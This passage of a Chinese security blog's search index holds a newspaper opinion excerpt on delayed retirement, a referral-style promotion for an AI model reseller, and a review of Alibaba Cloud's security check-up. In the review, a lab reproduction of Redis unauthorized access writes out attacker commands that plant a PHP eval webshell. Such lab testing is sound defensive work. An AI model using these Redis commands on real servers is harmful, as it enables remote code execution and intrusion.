迟的不仅是工作，更是权力利益。按现在的退休年龄，一般官员到了60岁就得退，很多人都不适应这种退休后手中无权的落寞感，延迟退休则延长了他们的政治生命。专家也是如此，大学和科研院所多已高度行政化，是官场的翻版，退休的院长和教授自然比不上在位的。但对普通劳动者而言，工作则是一种负担，没有权力利益，辛辛苦苦熬了一辈子好不容易熬到了退休，却又赶上了延迟退休。延迟退休可能会让这些人产生一种双重的双损感：双轨制已让他们受损害，延迟退休更进一步伤害了他们的利益。\n从另一个角度看，延迟退休可能是对一代人的违约。制度和政策应该保持一定的稳定性，尤其是这个政策涉及大的公众利益时，应给公众一个稳定的预期。什么年龄退休，什么时候能拿到养老金，是国家对国民的一种承诺和约定，不能轻易打破这样的契约。不能以“延长退休年龄是国际惯例”作为打破契约的借口，发达国家延长退休年龄是经由正当的法律程序和民主途径与国民协商而订立的契约，不能想当然和随意地改变。即使因为空账问题需要调整，也应经过民主决策，让每个利益群体都参与到博弈中。\n而且，不能一说到养老金缺口，就把所有责任都转嫁给社会和公众，在提起延迟退休这个议题时，首先要追问政府在养老金问题上有没有承担应有的投入，履行好应有的政府保障责任。毕竟，公众纳的税不是白纳的，里面有对自己未来养老的一份投资。\n在养老问题上，改革的次序应该是，先改掉双轨制，再谈延迟退休；先加大政府投入，再谈公众责任。 （责编：张文婷、蒋琪)\n","permalink":"https://www.clearsec.org/posts/life/%E4%B8%AD%E5%9B%BD%E9%9D%92%E5%B9%B4%E6%8A%A5%E5%BB%B6%E8%BF%9F%E9%80%80%E4%BC%91%E5%8F%AF%E8%83%BD%E6%98%AF%E5%AF%B9%E4%B8%80%E4%BB%A3%E4%BA%BA%E8%BF%9D%E7%BA%A6/","summary":"\u003cp\u003e加速到来的人口老龄化又一次把延长退休年龄推向了风口浪尖。全国社保基金理事会党组书记戴相龙日前受访时表示，面对30多年后的人口老龄化高峰，国家管理的公共养老金收支会有较大缺口。他建议应逐步延长退休年龄，提出采取每5年把退休年龄延长1岁的制度设计。专家称阶梯式、渐进式的延长退休年龄是国际上通行的做法。\u003c/p\u003e","title":"中国青年报：延迟退休可能是对一代人违约"},{"content":"","permalink":"https://www.clearsec.org/2024-05-05/","summary":"","title":""},{"content":"","permalink":"https://www.clearsec.org/2024-11-25/","summary":"","title":""},{"content":"安全体检新体验 安全是在数字化加速的今天，企业生存和发展的必选项。安全体检是阿里云面向云上用户，针对授权环境提供的一种免费安全检测服务。只要你是阿里云的用户就能免费获得安全攻击告警、风险配置检测、高危漏洞检测等多项免费安全能力。百闻不如一见，百见不如一试。今天我就带大家一起体验安全体检并斗胆给官方提一些改进建议。\n安全体检从哪进？ 安全体检是在安全管控产品之中提供的服务，而安全管控你在控制台其实是无法搜索到的。\n因为安全管控是云盾的子功能（根据 URL 和标签页标题猜测的）。\n但是你进入云盾（现在改名叫云安全中心），其实是无法找到安全管控这个产品的控制台。\n安全管控藏的很深，这倒是蛮像它的定位的，因为它很大程度上代表了一种底线，就像开网店需要遵守工商规定一样，使用阿里云服务需要遵守国家法律法规（参阅https://help.aliyun.com/document_detail/469816.html）。如果用户发布违法内容或进行违规操作（比如传播恶意软件，使用 ECS 挖矿，AK 泄露到公网等），阿里云有权采取限制措施（暂停资源接入等），就像平台发现违规店铺会下架商品甚至关店一样。安全管控主要提供了查看和解封功能，这也是你以往关注不到它的原因之一，正常使用确实很少跟它打交道。\n而现在，在合法的底线之上，阿里云还提供了免费安全体检功能： 相当于给你的云服务器安排了一位24小时在线的安全医生： 它能够实时监测网络攻击（比如黑客入侵尝试） ； 自动检查配置漏洞（就像检查门窗有没有锁好，类似基线核查） ； 扫描系统漏洞 ； 发现问题会立即告警。\n但是，安全管控又不难找，你可以直接在控制台右上角悬浮窗找到安全管控，他与实名认证、访问控制和AK设置在一起，你可能没有用过这个功能。\n另外，如图在控制台搜索框键入【安全管控】也可以进入安全管控控制台。\n💡 建议：\n①目前安全管控和安全检查没有提供官方文档，建议可以补充一下；②我猜阿里云给安全管控的定位并不是一款产品，所以它的流量入口并不跟产品在一起，但是安全体检又确确实实是一款产品，不妨在云安全中心或者什么其他地方增加一些入口；\n③新旧版控制台没有进行有效衔接，割裂感严重，新旧版控制台的区别在于新版有安全体检功能而旧版没有，而新版想要查看部分管控事件、白名单管理和业务申请又必须要跳转到旧版控制台操作。\n详细分析 安全管控中的安全体检功能提供免费的基础安全检测，产品的安全检测结果会汇总到云安全中心，云安全中心的部分（尤其是高危）的风险问题会汇总到安全体检。\n💡 需要注意，安全体检涉及到的云产品风险配置不代表对网安要求的等保合规做出的详尽检查。等保和ISO 27001的合规检查可以在云安全中心使用云安全中心管理控制台 - 合规检查\n【云安全中心】检查内容：\n【安全体检】的内容：\n【安全体检】与【云安全中心】相比更加简明实用，能够帮助企业和开发者解决迫切的安全问题。\n攻击告警范围 云安全中心告警 和 AK泄漏告警 的内容是来自云安全中心——云工作负载保护平台（CWPP），具体内容参阅：https://help.aliyun.com/zh/security-center/user-guide/overview-6\n同时，云安全中心支持安全告警实时检测与处理、漏洞检测与一键修复、攻击分析、云安全态势管理等功能，已安装云安全中心Agent的服务器重新启动后，云安全中心的防御进程需要一定时间才能生效。\n**需要注意的是，你能够接受到何种类别的告警取决于你购买的云安全中心版本。**例如：\n免费版云安全中心提供的安全告警类型包括：\n漏洞扫描：检测Linux软件漏洞、Windows系统漏洞和Web-CMS漏洞。 应急漏洞扫描：预警近期高危漏洞，需手动执行扫描。 异常登录检测：识别非常用地登录和暴力破解尝试。 AK泄露检测：监测GitHub等平台上的AK信息泄露。 合规检查：支持等保合规和ISO 27001合规检测。\n病毒查杀、容器主动防御、进程异常行为、敏感文件篡改、恶意软件、异常网络连接、防勒索等需要付费升级，推荐购买防病毒版以获得基础的服务。\nhttps://help.aliyun.com/zh/security-center/product-overview/functions-and-features\n免费版告警并不会对系统进程进行分析告警（挖矿进程除外，如检测到涉嫌违法的挖矿进程，系统将直接触发安全管控）\n如果你想要对操作系统及其上的应用进行优化，那么操作系统控制台提供更可视的诊断功能，该服务目前限免。\n💡 建议：\n①引导客户在安全体检页面开通防病毒版云安全中心，以便获得更多类型的告警服务，实现期望的告警效果。\n②在安全体检页面添加跳转到云安全中心的链接，方便客户查看官方文档。\n验证功能 攻击告警 由于我的 ECS 安全组配置合理，几乎没有服务和端口暴露在公网上，因此攻击告警部分为 0 这一部分并不奇怪。\n我们企业常见的攻击其实是渗透测试，如果进行云上资产渗透测试需要在安全管控页面申请渗透测试许可，放行我们渗透人员的IP。渗透测试许可并不需要等待很长时间去审核，基本上是申请即通过。\n云服务器漏洞 云安全中心-主机资产-漏洞检测功能应该与安全检查中的云服务器漏洞模块是一致的，需要注意的是，我们是需要手动点击【立即检测】才能触发检查。\n💡 关于这里Linux软件和Windows系统漏洞为什么是灰色，我刚开始并不知道，后来我开通了云安全中心企业版才发现这些功能可以用了。\n原来这里这两项功能是需要付费使用的，但是界面内并没有说明这一点，容易给同学们造成误会。\n建议：①在云服务器漏洞功能处添加说明，比如“Linux软件和Windows系统漏洞”扫描免费版不支持，需要在云安全中心付费升级等字样。\n应急漏洞验证 应急漏洞就是云安全中心首页这里滚动轮播的高风险漏洞，他们会对服务器造成巨大的危害，该功能在免费版也提供了支持。\n在这里我们以 Redis 未授权访问为例，看一下安全检查是否能够检测出来。\n易受影响的版本及原因：\nRedis 3.2.0 之前版本： 原因：默认未启用 protected-mode（该特性在 3.2.0 引入），且默认绑定地址为 127.0.0.1。 风险场景：若用户手动修改配置将 bind 设置为 0.0.0.0（开放所有网络接口）或注释绑定规则，同时未设置密码（requirepass），则服务会直接暴露在公网，导致未授权访问。 所有版本（包括最新版）： 无论版本如何，若未设置密码、关闭 protected-mode 或配置防火墙允许公网访问，均可能遭受未授权访问。 该漏洞在 Shodan 等网络空间测绘平台中可见大量暴露实例，根据 CVE-2022-0543 等历史漏洞记录，未授权访问常被僵尸网络利用进行挖矿攻击。最严重的情况，如果Redis以root身份运行，黑客可以给root账户写入SSH公钥文件，直接通过SSH登录受害服务器。\n漏洞复现 我们在 ECS 上安装 Redis 3.0 版本并修改 conf 文件将 bind 设置为 0.0.0.0（开放所有网络接口）。\n步骤 1： ECS 上拉取Redis 3.0镜像\ndocker pull redis:3.0 步骤 2： ECS 上创建自定义配置文件（覆盖默认bind）\nbind 0.0.0.0 #其他配置按需添加 步骤 3： ECS 上运行Redis容器\n1 2 3 4 5 6 docker run -d \\ --name redis3.0 \\ -p 6379:6379 \\ -v $(pwd)/redis.conf:/usr/local/etc/redis/redis.conf \\ redis:3.0 \\ redis-server /usr/local/etc/redis/redis.conf 步骤 4：攻击机上写入webshell\n利用条件:目标开启了web服务器,并且知道web路径(可以利用phpinfo或者错误暴路径等)，还需要具有读写增删改查权限 根据我在 ECS 上部署的 PHP 网站在攻击机上构造以下命令并执行： 1 2 3 4 config set dir /var/www/html config set dbfilename hello.php set webshell\u0026#34;\u0026lt;?php phpinfo();?\u0026gt;\u0026#34; save 返回 ECS 查看结果 在 ECS 上创建 webshell 的一句话 PHP 文件 执行如下命令 1 2 3 4 config set dir /var/www/html set xxx\u0026#34;\\nlnin\u0026lt;?php eval($ POST[\u0026#39;x\u0026#39;]);?\u0026gt;\\n\\n\\n config set dbfilename webshell.php save 返回 ECS 查看结果 漏洞修复 Redis 未授权访问这个漏洞在阿里云内并不是唯一的，在应用漏洞里面它的编号是 AVD-2021-905492，在应急漏洞里面它的编号是 AVD-02021-0344。\n我不知道阿里云在扫描漏洞时是如何区分这两个漏洞的，但是这个 Redis 未授权访问漏洞在应急漏洞里面没有展示导致了在安全体检的漏洞页面也找不到这个漏洞，即使这是一个高风险的漏洞。\n💡 建议：\n①建议将安全体检的漏洞分类标签与云安全中心的漏洞分类标签统一起来，这样可以避免高风险漏洞问题被无意忽视掉。\nLinux 软件漏洞验证 由于我的业务服务器均升级到了最新版本，因此公开的漏洞是不可能扫描到了。在本章节的测评，我将尝试新开一台服务器，使用低版本 CentOS 。来验证 Linux 软件漏洞 功能。\n已停止支持（EOL）的 CentOS 版本 版本 停止支持时间 状态说明 CentOS 5 2017年3月31日 官方支持完全终止，无安全更新，镜像源已移除。 CentOS 6 2020年11月30日 进入EOL阶段，不再提供维护更新。 CentOS 8 2021年12月31日 原计划支持至2029年，但被Red Hat提前终止，转为滚动更新的 CentOS Stream。 首先是操作系统的选择，我选择使用 CentOS 7.2 64位，它虽然版本相对较旧但是仍然在维护，不至于像 CentOS 5 一样完全获取不到可用的镜像源。\n经过扫描我们可以看到安全体检这里的漏洞信息是取自云安全中心的，因此，安全体检的Linux软件漏洞和Windows系统漏洞扫描服务需要事先开通更高级的云安全中心，免费版的云安全中心不具备这两项漏扫服务。这一实践验证了上一章节的猜测。\n💡 再次建议：①在云服务器漏洞功能处添加说明，比如“Linux软件和Windows系统漏洞”扫描免费版不支持，需要在云安全中心付费升级等字样。这样可以避免很多误会，并且会有更多客户选择高于免费版级别的服务。\n下一步当然就是修复了，这个面板展示了漏洞公告、是否需要重启以及【去修复】按钮，单击去修复我们可以直接跳转到云安全中心相应的漏洞详情，\n在这里我们可以完成查看漏洞报告详情、一键修复并验证修复效果等操作。\n这一项功能还是很实用的，现在有相当多的运维想修漏洞而不会修、不敢修，安全体检和云安全中心这一项服务就显得格外重要。\n此外，对于部分漏洞，尤其是高危漏洞，阿里云提供云防火墙上的虚拟补丁功能，直接在漏洞管理添加了虚拟补丁标签，一目了然。\n建议：\n①安全体检-云服务器漏洞的漏洞列表没有提供按照紧急程度排序的功能，建议可以添加该功能；\n②漏洞的展示仅漏洞 CVE 比较难以理解，建议可以使用 漏洞库标题 + CVE 的方式来标识漏洞，这样易读性会更好，客户也更容易判断这个漏洞是否影响业务。\n云产品风险配置 云产品风险配置 包含了五大类 总共30条规则的配置检查。以下图为例，通过/未通过/无数据标签显而易见。\n用户可以轻松筛选处所有未通过项并点击查看详情进行修复。\n以服务器安全组开放了风险端口为例，可以直接点击【文档链接】获得完整的支持与说明，\n查看描述我们可以知道：当安全组22/3389端口TCP/UDP协议的入方向规则目的地址建议设置为0.0.0.0/0时，触发这个高风险项。\n我们在详情页能看到未通过的资源类型是ACS::ECS::SecurityGroup，也就是ECS，我们在帮助文档下滑，查看如何修改 ECS 对应的安全组。\n首先是点击链接跳转到 ECS 管理控制台，按照图示进入安全组列表。\n我们修改 22/3389 端口的源地址为单位的 IP 地址或内网地址即可，只要不是0.0.0.0（全部放行）就不会触发高风险项。\n其他的问题也是一样，只需要仔细阅读问题描述然后按照建议找到当前与目标的差异并进行弥补就行。\n该规则的触发机制是 检测配置变更 每24小时一次，这意味着该问题的修复不会立即反馈到安全体检页面，可能会有一天的延迟，对强迫症不是很友好。\n建议：\n①当前云产品风险配置只是给出建议，并没有分析差距，如果能实现差距分析并结合AI或人工给出针对性的意见那就再好不过了；\n②检查规则的排序比较乱，目前既不是按照规则分类排序、也不是按照未通过资产数量排序，更不是通过风险等级排序，如果能优化排序规则那就更好了；\n③建议给修复建议加上对应产品的控制台，方便有实践经验的用云老用户直达并进行修复。\n","permalink":"https://www.clearsec.org/posts/blog/%E5%AE%89%E5%85%A8%E4%BD%93%E6%A3%80%E6%96%B0%E4%BD%93%E9%AA%8C/","summary":"\u003ch1 id=\"安全体检新体验\"\u003e安全体检新体验\u003c/h1\u003e\n\u003cp\u003e安全是在数字化加速的今天，企业生存和发展的必选项。安全体检是阿里云面向云上用户，针对授权环境提供的一种免费安全检测服务。只要你是阿里云的用户就能免费获得安全攻击告警、风险配置检测、高危漏洞检测等多项免费安全能力。百闻不如一见，百见不如一试。今天我就带大家一起体验安全体检并斗胆给官方提一些改进建议。\u003c/p\u003e","title":""},{"content":"-\u0026ndash;\ntitle: \u0026ldquo;AeroLink 推荐：注册无需绑卡即送 80 美元，可免费体验 Claude Opus 4.8 和 Sonnet 4.6\u0026rdquo; date: 2026-06-24T09:53:00+08:00 lastmod: 2026-06-24T09:53:00+08:00 author: [\u0026ldquo;Dorain\u0026rdquo;] #作者 draft: true description: \u0026ldquo;AeroLink 新用户注册可获得 80 美元奖励和一个月 Starter 计划试用，支持 Claude Opus 4.8 和 Sonnet 4.6 模型，适合开发者、长文本处理和 AI Agent 工作流用户。\u0026rdquo; slug: \u0026ldquo;aerolink-claude-opus-sonnet\u0026rdquo; tags: [\u0026ldquo;Claude\u0026rdquo;, \u0026ldquo;Opus 4.8\u0026rdquo;, \u0026ldquo;Sonnet 4.6\u0026rdquo;, \u0026ldquo;AeroLink\u0026rdquo;, \u0026ldquo;AI 工具\u0026rdquo;] categories: [\u0026ldquo;AI 教程\u0026rdquo;] keywords: [\u0026ldquo;AeroLink\u0026rdquo;, \u0026ldquo;Claude Opus 4.8\u0026rdquo;, \u0026ldquo;Claude Sonnet 4.6\u0026rdquo;, \u0026ldquo;注册奖励\u0026rdquo;, \u0026ldquo;AI 模型\u0026rdquo;] 如果你想零成本试用 Claude 高阶模型，AeroLink 值得先看一眼。新用户注册可获得 80 美元奖励和一个月 Starter 计划试用，并可使用 Claude Opus 4.8 和 Claude Sonnet 4.6 模型路线。对需要写代码、做长文处理、跑 Agent 工作流或测试 Claude 能力的人来说，这个额度很适合先拿来验证实际体验。\n👉 AeroLink 注册入口 如何获得试用 通过邀请链接登录，建议直接使用 Google 登录，登录后通过TG机器人验证 Telegram 账户即可获得 80$ 的免费余额和一个月的 Starter 计划试用。\n且全程无需验证支付方式。 先说结论 AeroLink 更适合已经有 Claude 使用场景的人。比如你会用模型写代码、改文档、跑 Agent、处理长文本，注册奖励就能先拿来测真实消耗。\n如果只是临时体验，先注册拿奖励，不急着买高档套餐 如果你每天都用模型干活，重点看套餐窗口、并发和输出限制，不要只看注册送多少 -\u0026ndash;\nAeroLink 提供什么 可访问 claude-opus-4-8 和 claude-sonnet-4-6 模型路线 新用户注册可获得 80 美元奖励 套餐按 5-hour window 和 Weekly window 两种计量方式区分 更高档位拥有更高并发、更高输出限制和优先支持 这种套餐结构的核心是\u0026quot;你在固定窗口内能跑多少任务\u0026quot;。建议先用奖励额度跑一轮自己的实际场景，再决定档位。\n-\u0026ndash;\n套餐对比 套餐 月付 5h 窗口 周窗口 用量倍数 特点 Starter $5 $10 $70 1× Email 支持，24h 响应 Builder $10 $20 $140 2× 更高并发请求 Pro $20 $40 $280 4× 开发者工具、更高输出限制、优先邮件支持 Scale $50 $100 $700 10× Pro 重度开发工作流 Ultra $100 $200 $1400 20× Pro 提前体验高级功能、峰值时段优先访问 Power $200 $400 $2800 40× Pro 最高输出限制、专属 onboarding、优先支持 怎么选 Starter：刚开始试水，想感受 Opus 4.8 和 Sonnet 4.6 的基本差异 Builder：平时会稳定用模型写代码、整理资料、处理批量文本 Pro：日常开发者，拿模型真正干活的人 Scale 及以上：高频调用、长上下文、重度工作流或团队使用 -\u0026ndash;\n谁适合注册 适合的用户：\n想试 Claude Opus 4.8 的开发者 需要长文本处理、总结、改写的日常用户 会跑 AI 编程、Agent、自动化脚本的人 想先用奖励额度测试稳定性，再决定是否长期使用的人 不太适合的用户：\n只找最低价平台、不会高频调用模型的人 对套餐窗口和输出限制不在意、只想临时玩一下的人 -\u0026ndash;\n注册后先测什么 如果还不确定自己的消耗量，先注册拿奖励，从 Starter 或 Builder 测起。重点确认三件事：\n你常用的场景是否能正常跑起来 模型输出是否符合预期 你的实际消耗大概落在哪个档位 如果已经知道自己会高频使用，直接按使用量选套餐，少折腾。\n-\u0026ndash;\nFAQ 1. 注册真的有 80 美元奖励吗？ 按页面当前信息是这样写的，但此类活动和额度可能会调整，建议以官网实时页面为准。\n2. 可以免费用 Claude Opus 4.8 和 Sonnet 4.6 吗？ 新用户奖励可用于体验这些模型路线，具体可用额度和消耗方式以官方实时页面为准。\n3. Starter 和 Builder 怎么选？ 只想试用就选 Starter；如果你已经知道自己会更频繁调用模型，Builder 更合适。\n4. 这类套餐适合写代码吗？ 适合。Pro 及以上档位尤其适合日常开发和重度工作流。\n5. 价格会不会变？ 会。模型平台的价格、额度和支持政策均可能调整，最终以官网实时页面为准。\n-\u0026ndash;\n总结 AeroLink 的吸引力很直接：新用户注册送 80 美元，同时能接触到 Claude Opus 4.8 和 Claude Sonnet 4.6 高阶模型路线。对想先试、再决定是否长期使用的人来说，这个入口比较友好。\n👉 立即注册 AeroLink\n本文基于页面公开信息整理，套餐、额度和可用性请以官网实时页面为准。\n","permalink":"https://www.clearsec.org/posts/tech/aerolink-claude-opus-sonnet/","summary":"\u003cp\u003e-\u0026ndash;\u003c/p\u003e\n\u003ch2 id=\"keywords-aerolink-claude-opus-48-claude-sonnet-46-注册奖励-ai-模型\"\u003etitle: \u0026ldquo;AeroLink 推荐：注册无需绑卡即送 80 美元，可免费体验 Claude Opus 4.8 和 Sonnet 4.6\u0026rdquo;\ndate: 2026-06-24T09:53:00+08:00\nlastmod: 2026-06-24T09:53:00+08:00\nauthor: [\u0026ldquo;Dorain\u0026rdquo;] #作者\ndraft: true\ndescription: \u0026ldquo;AeroLink 新用户注册可获得 80 美元奖励和一个月 Starter 计划试用，支持 Claude Opus 4.8 和 Sonnet 4.6 模型，适合开发者、长文本处理和 AI Agent 工作流用户。\u0026rdquo;\nslug: \u0026ldquo;aerolink-claude-opus-sonnet\u0026rdquo;\ntags: [\u0026ldquo;Claude\u0026rdquo;, \u0026ldquo;Opus 4.8\u0026rdquo;, \u0026ldquo;Sonnet 4.6\u0026rdquo;, \u0026ldquo;AeroLink\u0026rdquo;, \u0026ldquo;AI 工具\u0026rdquo;]\ncategories: [\u0026ldquo;AI 教程\u0026rdquo;]\nkeywords: [\u0026ldquo;AeroLink\u0026rdquo;, \u0026ldquo;Claude Opus 4.8\u0026rdquo;, \u0026ldquo;Claude Sonnet 4.6\u0026rdquo;, \u0026ldquo;注册奖励\u0026rdquo;, \u0026ldquo;AI 模型\u0026rdquo;]\u003c/h2\u003e\n\u003cp\u003e如果你想零成本试用 Claude 高阶模型，AeroLink 值得先看一眼。新用户注册可获得 \u003cstrong\u003e80 美元奖励\u003c/strong\u003e和一个月 Starter 计划试用，并可使用 Claude Opus 4.8 和 Claude Sonnet 4.6 模型路线。对需要写代码、做长文处理、跑 Agent 工作流或测试 Claude 能力的人来说，这个额度很适合先拿来验证实际体验。\u003c/p\u003e","title":""},{"content":"关于我\n联系我： dm9yaWFuQHFxLmNvbQ== ","permalink":"https://www.clearsec.org/about/","summary":"\u003cp style=\"font-size: 25px;\"\u003e关于我\u003c/p\u003e\n联系我：   dm9yaWFuQHFxLmNvbQ==","title":"🙋🏻‍♂️关于"}]